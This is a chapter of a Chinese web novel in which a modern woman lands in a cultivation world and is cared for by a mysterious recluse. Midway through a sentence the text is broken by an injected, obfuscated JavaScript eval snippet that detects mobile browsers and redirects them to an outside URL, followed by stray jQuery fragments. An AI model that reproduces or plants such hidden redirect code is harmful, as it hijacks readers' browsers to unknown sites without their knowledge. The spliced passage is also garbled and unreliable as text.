祝君竹的心跳依旧很快,但并非全因恐惧。眼前的情景太过诡异,超出了她所有的认知范畴。她屏住呼吸,不敢发出任何声音,大脑飞速运转,试图从有限的线索中分析出当前的处境和可能的应对方案。身体的疼痛提醒着她此刻的脆弱,而那个背对着她的、气质迥异的陌生男子,则充满了未知的危险性。
就在这时,那男子似乎轻轻叹了口气,声音低得几乎听不见,带着一种认命般的无奈。然后,他缓缓地转过了身。
祝君竹下意识地闭上了眼睛,只留一条极细的缝隙,假装仍在昏迷,全身的感官却在这一刻提升到了极致。
脚步声很轻,是布鞋踩在有些粗糙的地面上的细微摩擦声。他走了过来,停在了床榻边。
祝君竹能感觉到一道目光落在自己身上,平静,带着审视,却没有明显的恶意或淫邪。她甚至能闻到对方身上传来的一缕极淡的、如同雪后初霁的青松般的清冽气息,与她身下干草和木质的香气混合在一起。
他似乎在观察她。
过了片刻,她感觉到他微微俯下身。祝君竹全身肌肉瞬间绷紧,准备一旦对方有任何不轨之举,就算拼着剧痛也要暴起反击——尽管她不确定这具仿佛被卡车碾过又胡乱组装起来的身体还能发挥出几分力气。
然而,预想中的触碰并未到来。他只是靠近了些,似乎在更仔细地打量她的脸,以及她身上那套早已在坠落和翻滚中变得皱巴巴、甚至有些破损的现代职业套装——这套与周遭环境格格不入的“奇装异服”。
祝君竹能听到他极轻的自语,带着明显的困惑:“……奇特的衣饰……非苏罗之人……面容……亦非天朝女子”他的声音清朗温润,如同玉石相击,但语调有些奇特,带着一种古朴的韵味。
就在祝君竹思考着是继续装昏等待时机,还是冒险“醒来”尝试沟通时,一阵剧烈的、源自灵魂深处的绞痛毫无征兆地袭来!
这疼痛与肉身的酸痛截然不同,仿佛有无数根烧红的钢针在她的大脑和心脏中同时搅动,伴随着一些完全陌生、光怪陆离的画面碎片在她紧闭的眼前飞速闪回——烽火连天的战场、巍峨肃穆的宫殿、一个面容模糊却感觉无比亲切的戎装男子、一只通体雪白的小鹿回头凝望……这些碎片与她属于祝君竹的现代记忆激烈冲突、碰撞,几乎要将她的意识撕裂。
“呃……”她终于无法抑制地发出一声痛苦的呻吟,蜷缩起身子,额头上瞬间布满了冷汗,脸色变得惨白如纸。
这突如其来的变故显然也让床边的男子微微一怔。他看到她即便在剧痛中,手指也无意识地紧紧攥住了身下的干草铺盖,指节因为用力而泛白,身体微微颤抖,却仍旧咬着牙,没有发出更大的哀嚎,显示出一种异乎寻常的坚韧。
他眉头微蹙,眼神中的探究之意更浓了。他并没有立刻上前安抚或救治,而是稍稍后退了半步,保持着一個安全的、不会给对方造成压迫感的距离,静静地观察着。他似乎察觉到,这女子身上的异常,远不止是砸穿屋顶那么简单。在她痛苦蜷缩的瞬间,他敏锐地感知到一丝极其微弱、却绝不属于凡俗的奇异能量波动,从她体内逸散出来,旋即又消失不见,如同投入深潭的石子,只激起一丝几不可察的涟漪。
那阵灵魂层面的剧痛来得快,去得也快,如同潮水般退去,留下的是更深的疲惫和茫然。祝君竹大口地喘着气,仿佛刚刚经历了一场生死搏斗,浑身虚脱。她知道无法再伪装下去,只好缓缓地、艰难地再次睁开了眼睛。
这一次,她的视线与床边的男子对了个正着。
四目相对。祝君竹与那男子都感觉身体里的某种能量微微的颤动了一下。
“我们……见过……?”他二人同时张口。
她模糊看见他眼底一闪而过的惊愕与……难以言喻的熟悉。
“不对”,当她仔细的扫视了一遍他的容貌得出了结论。他的脸并非庞廉仁那种带着精明算计的俊朗,也非现代都市里常见的各种风格化帅哥。他的五官极其清俊,线条柔和而舒展,肤色是常年不见烈日的、略显苍白的白皙。最引人注目的是他那双眼睛,瞳仁是极深的墨色,如同浸在寒潭中的墨玉,清澈、沉静,却又仿佛蒙着一层淡淡的、隔绝了尘世喧嚣的薄雾,让人看不透其下的真实情绪。他的眼神里没有惊艳,没有贪婪,只有纯粹的审视和一丝尚未散去的讶异。
祝君竹不得不承认,这是她生平所见,气质最为独特……甚至可以说是“好看”得有些过分的男性。但这种“好看”并未让她放松警惕,反而因为未知而更加谨慎。
她张了张嘴,想询问“这里是哪里?”、“你是谁?”,又再想是不是应该先为砸穿了屋顶而道歉。
那男子见她似乎想说话,却不发出声音,目光扫过她的嘴唇,似是明白了什么。他依旧没有说话,只是转身走到那张简陋的书案边,提起桌上的一个粗陶水壶,倒了一碗清水。他的动作不疾不徐,带着一种固有的韵律感,即便是在这种诡异的情形下,也未见丝毫慌乱。
他端着水碗走回床边,依旧保持着距离,将碗递向她,示意她可以饮用。
祝君竹看着他手中的粗陶碗,碗里的水清澈见底。她犹豫了一下。理性的警惕在尖叫,提醒她不要轻易接受陌生环境、陌生人的任何东西。但身体的本能——极度的干渴和虚弱——却在强烈地驱使着她。
她看了看他的眼睛,那双墨玉般的眸子里,依旧只有平静,甚至带着一丝……事不关己的淡漠?仿佛给她水,只是一种基于基本人道(或者说是“此地主之道”?)的举动,而非出于任何特定的关怀。
最终,干渴战胜了警惕。她艰难地撑起一点身子,伸出手想去接那个碗。然而手臂的剧痛和无力让她动作僵硬,手指颤抖,根本无法稳稳接过。
男子见状,没有迟疑,上前一步,单膝微屈,在床榻边沿蹲下身来,将碗沿小心地凑到她的唇边。他的动作很稳,没有碰到她的嘴唇,保持着恰到好处的距离。
清冽的、带着一丝甘甜的泉水涌入喉咙,瞬间缓解了那火烧火燎的干渴。祝君竹几乎是贪婪地小口啜饮着,清凉的液体滑过喉咙,仿佛也滋润了她焦灼的灵魂。
一碗水很快见底。她长长舒了口气,感觉稍微恢复了一点力气,也找回了一些镇定。
“多谢。”她声音很小,但总算能听清。
男子听到她的道谢,眼中闪过一丝极淡的、难以察觉的波动。他收回碗,直起身,再次退回到之前那个安全的距离,这才开口,声音依旧清润平和:“举手之劳。”
短暂的沉默在两人之间蔓延。一个坐在破烂的床榻上,浑身伤痛,满心疑窦;一个站在几步之外,青衫磊落,神色平静。
祝君竹深吸一口气,决定主动打破僵局。她需要信息。
“这里……是什么地方?”她问,目光扫过屋顶的破洞和四周简陋的环境,“我……似乎是从上面掉下来的?抱歉,弄坏了你的屋顶。”她尝试着表达歉意,尽管她自己也是受害者。
男子顺着她的目光看了一眼屋顶的破洞,嘴角似乎几不可察地微微抽动了一下,那表情与其说是心疼,不如说是觉得……有些荒谬。他收回目光,重新看向祝君竹,语气平淡无波:“此地乃苏罗边境,无名山脚。至于这屋顶……”他顿了顿,似乎在斟酌词句,“姑娘从天而降,声势惊人,在下亦是猝不及防。”
他的回答证实了祝君竹最坏的猜想——她不仅没死,还到了一个听都没听过的地方(苏罗?边境?),而且是以一种极其离谱的方式登场。这简直比最荒诞的梦还要离谱。
“苏罗……边境?”她重复着这个陌生的地名,眉头紧紧蹙起,“请问……现在是哪一年?或者说,这里……是什么国度?”她问出了最关键的问题,心脏不由自主地提了起来。
男子看着她眼中那毫不作伪的茫然和急切,那双沉静的眸子里,探究之色更深了。他并未直接回答,而是反问道:“观姑娘衣饰奇特,言谈举止亦与我等迥异,且似乎……对此地一无所知。姑娘从何而来?”
他的问题精准而犀利,显示出了与他超然外表不符的敏锐。
祝君竹语塞。她从何而来?难道要说自己来自二十一世纪的中国,被男朋友兼老板谋杀抛尸,然后可能……穿越了?这说出去谁会信?只怕会被当成失心疯。
她的大脑飞速运转,权衡着利弊。最终,她决定采用一个最稳妥也最模糊的说法。
“我……来自一个很远的地方。”她避开了具体地名和年代,这并非完全说谎,只是选择性隐瞒,“我在家乡遭遇了一些……意外,醒来时,就已经在这了。”她指了指头顶的破洞,“至于怎么来的,我也……完全没头绪。”
她的话语带着真实的困惑和一丝劫后余生的虚弱,听起来颇具说服力。同时,她小心翼翼地观察着对方的反应。
男子静静地听着,脸上看不出是信还是不信。他只是微微颔首,道:“原来如此。”既未深究,也未表露同情,态度疏离而客气。
就在这时,祝君竹的肚子不争气地“咕噜”叫了一声。在经历了坠海(准确的说是被扔下海)、雷劈、穿越、砸房顶这一系列匪夷所思的事件后,她的体力早已透支,刚才那碗水只是缓解了口渴,饥饿感却如同潮水般涌了上来。
这声音在寂静的室内显得格外清晰。祝君竹的脸颊瞬间泛起一丝不易察觉的红晕,有些尴尬地移开了视线。
男子显然也听到了。他看了看她苍白的脸色和难以掩饰的疲惫,再次开口,语气依旧平淡:“姑娘伤势不轻,且气息虚弱。寒舍简陋,尚有些许清粥淡饭,若姑娘不弃,可暂用一些,稍作休整。”
他没有追问她的来历,也没有因为她的“天降”而表现出过度的热情或排斥,只是提供了一种最基本的、近乎本能的援助。这种态度,反而让在现代职场见惯了虚与委蛇和激烈竞争的祝君竹,感到一丝奇异的……安心?至少,眼前之人看起来不像有立即的危险。
“……多谢。”她再次道谢,这次带上了几分真诚。在完全陌生的环境里,保存体力、获取信息是首要任务。接受食物和暂时的容身之所,是当前最合理的选择。
“稍待。”男子说完,便转身走向屋子的另一侧。那里有一个简单的土灶和小锅,他动作熟练地生火,将一些似乎是早已准备好的粥食加热。
祝君竹靠在勉强还算完整的床架上,趁此机会,更仔细地打量这个“寒舍”和它的主人。
屋子确实很简陋,除了书案、书架和这张被她砸得半毁的床榻,几乎别无长物。但收拾得十分整洁,物品摆放井然有序,透着一种读书人特有的清简雅致。书案上的书册笔墨,也显示主人并非目不识丁的山野村夫。
而他……这个青衫男子,言行举止间有一种难以言喻的从容和气度,绝非普通乡野隐士所能拥有。那种刻在骨子里的优雅和疏离,更像是……一种久居人上后沉淀下来的习惯,尽管他此刻身着布衣,身处陋室。
粥的香气很快弥漫开来,是纯粹的米粮清香,勾得祝君竹胃里更是翻江倒海。
男子盛了一碗粥,又配了一小碟看起来像是腌渍的野菜,再次端到她面前。这次,他还贴心地拿来了一把木勺。
“只有这些粗陋食物,望姑娘勿要见怪。”他说道,将粥碗和木勺放在床榻边一个充当床头柜的树桩上。
“已经很好了,多谢。”祝君竹由衷地说。她尝试自己拿起勺子,但手臂的酸痛和无力让她动作十分笨拙,勺子在她手中颤抖,几乎舀不起粥。
男子站在一旁,看着她笨拙而艰难的动作,沉默了片刻。然后,他再次上前,没有询问,只是自然而然地接过她手中的勺子,在碗里舀起一勺粥,轻轻吹了吹,递到她的唇边。
这个举动让祝君竹浑身一僵。
在现代社会,除了儿时父母,从未有异性如此近距离地喂她吃东西。即便是与庞廉仁交往期间,也未曾有过这种亲密的举动,由这个初见不过半小时、连名字都不知道的陌生男子做来,本该显得极其突兀和尴尬。然而,他的动作却异常自然,没有丝毫狎昵或暧昧的意味。他的眼神依旧平静,仿佛只是在完成一件必须的、如同给受伤的小动物喂食般的任务。他的手指修长稳定,端着勺子的姿势甚至带着一种赏心悦目的优雅。
祝君竹看着递到唇边的粥,又抬眼看了看他平静无波的脸,内心的戒备与身体的虚弱需求激烈交战。最终,饥饿和理智占据了上风。她微微张口,含住了那勺温热的、什么调料都没有添加的白粥。
粥煮得恰到好处,软糯香甜,温暖的感觉顺着食道滑入胃中,迅速驱散了些许寒意和虚弱。她小口小口地,就着他的手,慢慢吃着粥。过程中,两人没有任何眼神交流,也没有任何言语,只有勺子偶尔碰到碗边的轻响,和屋内柴火轻微的噼啪声。
一种古怪而微妙的氛围在两人之间弥漫开来。一个是来自现代、心高气傲却虎落平阳的职场精英,一个是隐居边境、超然物外却难掩贵气的神秘男子,因为一场离奇的“空难”,在这破败的陋室中,以一种极其不对等却又意外和谐的方式,暂时联结在了一起。
一碗粥很快见了底。男子放下碗勺,又递上那碟腌菜。祝君竹摇了摇头,她此刻肠胃虚弱,清淡的白粥已是极限。
“够了,多谢。”她低声道,感觉体力恢复了一些,精神也好了不少。
男子点点头,不再勉强。他收拾好碗勺,拿到灶边清洗。他的动作始终从容不迫,仿佛家中突然多了一个从天而降、奇装异服、来历不明的女子,并砸穿了他的屋顶,只是日常生活中一个微不足道的小插曲。
祝君竹靠在床架子上,看着他忙碌的背影,心中的疑问非但没有减少,反而越来越多。
这里到底是什么世界?苏罗边境?听起来像是某个古代或异世王朝的边疆地带。这个男子是谁?他为何独自隐居在此?他似乎对自己并不好奇,也毫不惊讶,这份定力未免太过惊人。
还有她自己……那场诡异的雷暴,体内那股沉寂却浩瀚的力量,脑海中闪过的陌生记忆碎片……这一切都指向一个她不敢深想,却又无法忽视的可能性。
她抬起自己的手,仔细看着。这双手,曾经在键盘上敲击出影响数百万用户的核心代码,曾经冷静地签署过价值千万的合同,也曾……在最后时刻,无力地试图推开庞廉仁。而现在,这双手似乎还是那双手,但皮肤更为白皙细腻,隐隐有晶莹感。皮肤下的骨骼筋肉却仿佛经历过重塑,蕴含着一种陌生的、沉睡的力量感。
她轻轻握了握拳,酸痛依旧,但某种更深层的东西,似乎在悄然苏醒。
“姑娘。”清润的声音打断了她的沉思。
她抬起头,见那男子已清洗完毕,重新走了回来,依旧站在那个安全的距离外。
“寒舍唯有此一榻,如今……”他看了一眼被她砸得塌陷一半、一片狼藉的床铺,语气里终于带上了一丝几不可察的无奈,“……恐难再容身。若姑娘不介意,隔壁尚有一间堆放杂物的陋室,我可稍作整理,暂供姑娘栖身。虽亦简陋,总胜于露宿。”
他的考虑堪称周到,也明确划分了界限,避免了孤男寡女同处一室的尴尬。
祝君竹此刻人为刀俎我为鱼肉,自然没有反对的余地。而且,有个相对独立的空间,也更利于她整理思绪和……尝试弄清楚自己身体的状况。
“有劳了。”她点头应允。
“姑娘伤势未愈,行动不便,失礼了。”男子说着,走上前来,并未直接触碰她,而是伸出双臂,示意可以搀扶她起身。
祝君竹看着他坦荡的眼神,略一迟疑,还是将一只手搭在了他的小臂上。他的手臂隔着布袍,能感觉到坚实的肌肉线条,支撑力很稳。她借着他的力道,忍着浑身的酸痛,艰难地站了起来。
就在她站直身体,与他距离拉近的刹那,两人几乎是同时,都微微怔了一下。
祝君竹发现,这男子身量颇高,她穿着高跟鞋时或许还能与他平视,此刻光着脚(鞋子不知掉落在何处),竟只勉强到他下颌的位置。需要微微仰头才能看到他的脸。
而那男子的迟疑,则源于更细微的感知。在如此近的距离下,他再次捕捉到了那丝若有若无的、非同寻常的能量波动,从这女子体内散发出来。这波动极其隐晦,时断时续,却带着一种……与他所知的任何修炼体系都迥异的、古老而纯粹的气息。仿佛她整个人,就是一个行走的、尚未完全激活的古老秘藏。重要的是,在这气息之下,竟还藏着一股熟悉无比的力量。
这感觉一闪而逝,快得让他几乎以为是错觉。
他压下心中的异样,不动声色地搀扶着她,带着一床薄薄的棉被,慢慢走向隔壁那间更小、更堆满农具和干柴的杂物间。那里果然有一张用木板临时搭就的、铺着干草的小铺。
他将她扶到铺边坐下。
“姑娘且在此休息。若有需要,可唤我。”他说道,语气依旧客气而疏离,“我就在外间。”
说完,他微微颔首,便转身退了出去,并体贴地掩上了那扇吱呀作响的木门。
杂物间内顿时昏暗下来,只有门缝和墙壁的缝隙透进些许微光。
祝君竹独自坐在干草铺上,环顾着这个更加狭小、充满尘土和干草气味的空间,一种前所未有的孤独和渺小感瞬间将她淹没。
现代都市的繁华、职场的拼搏、情感的背叛、死亡的冰冷……一切都仿佛隔着一个世界那么遥远。而现在,她身处一个完全未知的时空,亦或者是平行世界?她身体状态诡异,唯一的“熟人”是一个连名字都不知道、气质非凡却隐居于此的神秘男子。
前路茫茫,吉凶未卜。
她靠在冰冷的土墙上,闭上眼睛,深深吸了一口气。空气中混杂着干草、泥土和一丝从他身上沾染的、若有若无的松雪清冽之气。
混乱的思绪渐渐沉淀下来。属于祝君竹的理性、坚韧和超强的适应能力开始重新占据上风。
无论这里是什么地方,无论发生了什么,既然活下来了,就要想办法活下去,并且要活得明白。
首先,需要尽快养好身体。其次,必须了解更多关于这个世界的信息——地理、势力、语言习惯、习俗,尤其是……她体内那莫名沉寂却又真实存在的力量,以及脑海中那些挥之不去的碎片影像究竟意味着什么。最后,也是最重要的,弄清楚身边这个神秘男子的身份。他看起来无害,但能在这种边陲之地安然隐居,绝非寻常人物。
她轻轻活动着手脚,感受着肌肉的酸痛和骨骼的隐痛,试图评估伤势。除了撞击和坠落造成的软组织挫伤和可能的内脏震荡,最麻烦的是右小腿,一阵阵钻心的疼,可能是骨裂。她撕下一些已经残破的职业套装相对完好的部分,凭借记忆中有限的急救知识,将右小腿小心翼翼地固定起来。
“那么高的地方摔下来,居然活着能动,真是奇了!”
她边想边做完这一切,她已经气喘吁吁,冷汗涔涔。疲惫如同潮水般再次涌上,但她强撑着不敢立刻睡去。在这个完全陌生的环境,保持清醒和警惕是生存的第一要义。
她侧耳倾听外间的动静。只能听到极其轻微的、似乎是翻动书页的沙沙声,以及偶尔柴火燃烧的噼啪声。那个男人,似乎真的就在外间看书,没有任何异常的举动。
夜色,在寂静与警惕中缓缓流逝。祝君竹最终还是抵不过身体极度的疲惫和虚弱,靠在冰冷的土墙上,搭着那张薄薄的旧棉被,意识渐渐模糊,陷入了半睡半醒的浅眠之中。
当第一缕熹微的晨光透过墙壁的缝隙和门板的窟窿照进杂物间时,祝君竹立刻惊醒了过来。身体的疼痛依旧,但精神似乎比昨夜好了些许。
外间已经传来了轻微的响动。过了一会儿,木门被轻轻敲响。
“姑娘可醒了?”是那个清润平和的声音。
“嗯,醒了。”祝君竹应道,声音带着刚睡醒的沙哑。
“那我便进来了。”
他说完并未立即推门,而是等着祝君竹“嗯”了一声。门才被推开,男子端着一碗热气腾腾的粥和一小碟看起来新鲜的、不知名的野果走了进来。他依旧穿着那件青灰色布袍,头发梳理得一丝不苟,木簪束发,目光垂视,神情平静,仿佛昨日种种不过寻常。
“晨安。用些早食吧。”他将粥和野果放在她铺边一块较为平整的木墩上。
“多谢。”祝君竹看着他,犹豫了一下,还是开口道:“昨日仓促,还未请教……先生尊姓大名?”她用了比较客气的称呼。
男子似乎并不意外她的问题,语气平淡地回答:“鄙姓林,双木林。草字疏星。疏朗之疏,星辰之星。”
林疏星。祝君竹在心中默念了一遍这个名字。疏星……疏离的星辰?倒是与他那仿佛隔绝于尘世之外的气质颇为相符。
“林公子。”她点头致意,然后顿了顿,坦然道:“我姓祝,祝君竹。君子的君,竹子的竹。”
他低声重复:“君竹?……好名字。”语气似有深意,仿佛透过她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998668|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在看另一个人。
“小竹。”林疏星脸上并无多余表情。他看着她固定在右腿上的布条,目光停留了一瞬,“姑娘的伤……”
“初步判断,右小腿可能骨裂,多处软组织挫伤,可能需要静养。”祝君竹用冷静的、近乎医生汇报病情的口吻说道。在这种环境下,示弱或许能博取同情,但展现理性和清晰的思维,可能更能赢得尊重,减少被当作无知弱女子随意处置的风险。
林疏星眼中闪过一丝几不可察的讶异。这女子,遭遇如此巨变,身处完全陌生的环境,身负伤痛,却还能如此冷静地分析自身伤势,言语条理清晰……果然非同一般,这似乎又让他想到了谁。
“寒舍僻远,并无良医。唯有一些自采的草药,对外伤淤肿略有疗效。若姑娘信得过,待会儿可取来予姑娘敷用。只是,何为软组织?”他说道,语气依旧没什么起伏,仿佛只是在陈述一个客观事实。
“啊,就是可能伤到了筋,大概就是这个意思吧,有劳林公子了。”祝君竹没有拒绝。在缺乏现代医疗条件的情况下,草药或许是唯一的选择。她需要尽快恢复行动能力。
林疏星微微颔首,不再多言,转身退了出去,依旧体贴地掩上门。
祝君竹慢慢吃着温热的粥和酸甜的野果,味同嚼蜡,心思却飞速转动。林疏星……他对待自己的态度,客气而疏离,提供基本的食宿和草药,却不过分关切,也绝口不提她的来历和去留,仿佛她只是一个暂时借住的、有些麻烦的客人。这种态度,反而让她稍微安心了一些。至少,他目前没有表现出明显的控制欲或恶意。
吃完早饭,林疏星果然送来了一碗捣碎的、散发着浓郁苦涩气味的绿色草泥。
“此药外敷,可活血散瘀,舒缓疼痛。”他将药碗放在她手边。
祝君竹看着那碗颜色可疑的草泥,理性告诉她需要谨慎,但眼下别无选择。她道了谢,等他离开后,才小心地解开固定布条,将冰凉的草泥敷在肿胀疼痛的右小腿和身上几处严重的淤青上。草药接触皮肤的瞬间,带来一阵清凉感,似乎确实缓解了些许火辣辣的疼痛。
她重新固定好小腿,靠在干草铺上,开始思考下一步。
信息。她迫切需要信息。
当林疏星再次进来,似乎是准备收拾碗筷时,祝君竹抓住了机会。
“林公子,”她学着对方的说话方式开口,目光坦诚地看着他,“我初来此地,对周围一切全然不知,心中实在惶恐。不知先生能否为我解惑一二?比如……此处‘苏罗边境’,究竟属于哪个国度?距离……人烟稠密的城镇有多远?”
林疏星收拾碗筷的动作顿了顿,抬眸看了她一眼。直起身,并未立刻回答,而是走到窗边(杂物间也有一个很小的、糊着桑皮纸的破旧窗格),望着窗外,沉默了片刻,仿佛在组织语言,又像是在斟酌哪些信息可以透露。
“此地,乃苏罗部族与玄枢仙朝接壤的边境地带。”他缓缓开口,声音平稳,“我们所在,是苏罗疆域最南端,人迹罕至的荒僻山野。距离最近的、稍有规模的仙朝边镇‘北碚’,骑马也需三日路程。至于苏罗部族的聚集地……”他顿了顿,语气微沉,“就在此山以北,更深处。”
玄枢仙朝?苏罗部族?
祝君竹心中巨震。这完全是她知识盲区里的名词!仙朝?难道这个世界……真的有修仙者?联想到自己体内那股力量和她坠落时可能经历的异常天象,这个猜测的可能性大大增加。
她强压下心中的惊涛骇浪,继续问道:“玄枢仙朝……是怎样的一个国家?由……皇帝统治吗?我是说,这里还是地球吗?”她尝试用自己能理解的概念去套用。
林疏星转过身,目光再次落在她脸上,带着一丝更深的探究。“仙朝自然由仙帝统御,治下设有三殿六阁,监察四方,掌管修行者与凡俗事务。至于姑娘所言的地球,我的确不知是何物。”他解释得言简意赅,但透露出的信息量却让祝君竹心头更加沉重。
仙帝、三殿六阁、修行者……这确实是一个与她认知中完全不同的、拥有超自然力量体系的世界。
“我是说,先生所言的仙朝,苏罗,在一个……什么样的……大陆上,或者说仙朝和苏罗或者有什么其他的国度,都在什么地方上?对!”祝君竹第一次觉得组织语言是这么难的事情,竟词穷了。
“仙朝是须尘界第一大国度,北岳之阴毗邻苏罗,东海之滨有龙族在渊,西岭之外有罗嘉古国,南境域外有妖族妖域。这便是须尘境各势力的分布。姑娘有此一问,想必是从须尘界八海之外来的。”祝君竹这一问倒激起了林疏星些许兴趣。
“我?我……也不知道。在家乡发生意外,醒来就已在你床……在你家里了!那……林公子在此隐居,是……?”她自觉尴尬,赶紧转移话题。一个见识不凡、气质出众的人,为何独自隐居在这等蛮荒边陲?她也同样有些兴趣。
林疏星的嘴角似乎勾起了一抹极淡的、近乎自嘲的弧度,快得让人以为是错觉。“不过是厌倦尘嚣,寻一处清净之地,了此残生罢了。”他的语气平淡,听不出喜怒,却带着一种不容置疑的终结意味,显然不愿多谈自身。
祝君竹识趣地没有再问。每个人都有自己的秘密,尤其是在这种世界。逼问过甚,反而可能引来危险。
“多谢先生解惑。”她真诚地道谢。这些信息虽然基础,却如同黑暗中的第一盏灯,让她对这个陌生世界有了一个模糊的轮廓。
林疏星微微颔首,拿起碗筷,准备离开。
就在这时,祝君竹的肚子又不合时宜地叫了一声。她脸上再次闪过一丝尴尬。昨日的粥和野果,对于她这个急需能量恢复的伤者来说,显然不够。
林疏星脚步一顿,回头看了她一眼,那眼神似乎……带着一丝几不可察的了然?但他什么也没说,只是平静地走了出去。
过了一会儿,他再次回来,手里除了碗筷,还多了一个用干净树叶包着的东西。他将其放在木墩上。
“山中野薯,烤熟了,可果腹。”他言简意赅地说完,便转身离开了。
祝君竹打开树叶,里面是几个烤得焦香、还带着热气的薯类食物。她拿起一个,小心地剥开焦硬的外皮,露出里面金黄软糯的薯肉,香气扑鼻。
她小口吃着烤薯,温热食物下肚,带来了实实在在的满足感和力量感。这个林疏星,虽然言语疏离,行事却颇为细心周到。他似乎在她身上并没有太多图谋,至少目前看来,更像是一种……基于某种修养或者说原则的、有限度的善意。
当晚,祝君竹依旧困倦不已却难以入眠。浑噩中听见屋外林疏星低声吹箫,曲调苍凉。竟不知为何心痛不已,泪洒满襟。哭着渐渐沉沉睡去。
接下来的两日,便在一种奇异的平静中度过。
祝君竹大部分时间待在杂物间里,忍着疼痛,尝试做一些简单的康复活动,活动未受伤的肢体,以免肌肉萎缩。她仔细感受着体内那股沉寂的力量,它如同深潭,偶有微澜,却无法主动调动分毫。脑海中的记忆碎片依旧杂乱,无法拼凑出完整信息。
林疏星每日会准时送来三餐,大多是清淡的粥、烤薯、野菜和偶尔不知从何处摘来的野果。他话很少,送完食物和更换的草药便离开,要么在外间看书,要么在院中打理他那几畦可怜的菜地,或者练习一种看起来缓慢而舒展、类似太极的导引术。
祝君竹透过门缝和墙壁的破洞,默默观察着他。他的生活极其规律,甚至可以说刻板,带着一种苦行僧般的自律。他的动作总是从容不迫,一举一动都透着一种融入骨子里的优雅韵律,与这陋室的环境形成了鲜明的反差。
她越来越肯定,此人绝非池中之物。只是不知为何,龙困浅水,虎落平阳。
第三天下午,祝君竹感觉右小腿的疼痛减轻了不少,肿胀也消了些许。她尝试着,扶着墙壁,单脚艰难地站了起来,然后一点点,挪到了杂物间的门口。
她轻轻推开那扇吱呀作响的木门。
午后的阳光(或者说,这个世界的“光”)带着暖意,洒落在小小的院子里。与屋内相比,院子同样简陋,一圈歪歪扭扭的竹篱笆,几畦长势不算旺盛的蔬菜,一口石砌的水井,角落里堆着柴薪。
林疏星正坐在院中一棵老树下的一张石凳上,面前摆着一张简陋的石棋盘,上面放着着黑白两色的两颗石子。他并未对弈,只是手指间拈着一枚白子,目光落在棋盘上,眼神空茫,仿佛透过棋局,看到了很远的地方。
听到开门声,他抬起头,望向站在杂物间门口的祝君竹。
阳光勾勒出他清俊的侧脸,那双墨玉般的眸子里,似乎因那空茫的思绪而蒙上了一层更深的迷雾。看到祝君竹竟然能自己走出来,他眼中闪过一丝轻微的讶异,但很快便恢复了平静。
“祝姑娘能起身了?”他放下棋子,站起身。
“勉强可以移动一下。”祝君竹扶着门框,感受着阳光照在身上的暖意,深深吸了一口带着草木清香和泥土气息的空气。连续几天待在昏暗的杂物间,此刻见到阳光,让她精神为之一振。
她的目光落在石棋盘上,随口问道:“林公子在下棋?”
林疏星顺着她的目光看了一眼棋盘,淡淡道:“闲来无事,聊以自娱罢了。胡乱摆弄,不成章法。”
两人一时无话。气氛有些微妙的凝滞。
祝君竹看着眼前这个青衫落拓、却难掩风华的男人,又看了看四周荒僻的景象,心中那种不真实感再次浮现。她一个现代社会的职场精英,竟然会和一个古代隐士在这种边陲之地,如此“和平”地共处一室。
这场景,荒诞得让她几乎想笑。
林疏星似乎察觉到了她情绪的细微波动,目光再次落在她身上,带着一丝不易察觉的审视。这几日的相处,这女子表现出来的冷静、坚韧、以及那种与周遭环境格格不入的、仿佛来自另一个世界的思维方式,都让他无法等闲视之。她身上那若有若无的奇异能量波动,也始终是他心头的一个谜。
就在这时,一阵山风拂过,吹动了祝君竹略显凌乱的发丝,也吹动了林疏星宽大的袍袖。
祝君竹下意识地抬手拢了拢头发,这个简单的动作却牵扯到了肋下的伤处,让她轻轻吸了口凉气。
林疏星看着她微微蹙起的眉头,忽然开口,语气依旧是那种平淡的、听不出关切的调子:“山中风硬,祝姑娘伤势未愈,不宜久立风中。”
他的提醒很直接,不带丝毫暖意,却也算是一种……关照?
祝君竹愣了一下,随即点头:“多谢提醒,我这就回去。”
她扶着门框,准备转身退回杂物间。
然而,就在她转身的刹那,眼角的余光似乎瞥见,远处山林的边缘,有什么东西……一闪而过?像是一个模糊的人影,动作极快,融入了密林的阴影之中。
她的心脏猛地一跳,一种不祥的预感瞬间攫住了她。
是错觉吗?还是……真的有人?
她猛地转头,凝神望向那片山林。树木郁郁葱葱,山风吹过,枝叶摇曳,一切如常,仿佛刚才那一瞥只是光影造成的幻觉。
但祝君竹的直觉却在疯狂报警。庞廉仁的背叛和谋杀,让她对潜在的危机有着超乎寻常的敏锐。
随着祝君竹本能反应,林疏星立即察觉到她的异样。
“妖力!”他原本平静无波的眸子里,骤然掠过一丝极其锐利的光芒。他清晰地从身侧这位祝姑娘体内,捕捉到了一丝极其微弱、却精纯异常的妖力波动!带着一种古老而内敛的蛮荒意味。
他心下虽然震惊,但却面不改色。
“怎么了?”他问道,声音里带上了一丝不易察觉的警惕。
祝君竹回过头,看向林疏星,眼神锐利,压低声音道:“我好像……看到那边林子里,有人。”
林疏星闻言,眉头微不可察地蹙起。他并未立刻否认或质疑,而是再次将目光投向那片山林,静静地凝视了数息。
“那应该是头白鹿。”他淡淡答道。
4. 第三回:北荒亡命风霜砺
林疏星语气虽然平淡,但内心早已波澜翻涌。
“这女子体内,竟藏着如此古怪?她的腿恢复的如此之快,怕是也跟这妖力脱不了干系罢”林疏星心下虽凛然,但面上仍不动声色。他目光重新投向山林,白鹿已不见踪影,但那若有若无的窥视感却并未消失。他方才说“白鹿”,既是安抚,也是对窥探者的试探。
祝君竹听到是白鹿,稍微松了口气,但林疏星瞬间的眼神变化和周围凝重的气氛,让她刚放下的心又提了起来。职场历练出的直觉告诉她,事情并不简单。
“林公子?”她低声问,带着探究。
林疏星收回目光,神色已恢复平淡。“无事,山中有些灵智的野兽罢了。”他语气寻常,“风大了,祝姑娘还是回屋歇着吧。”说完,便转身回了主屋,步伐依旧从容。
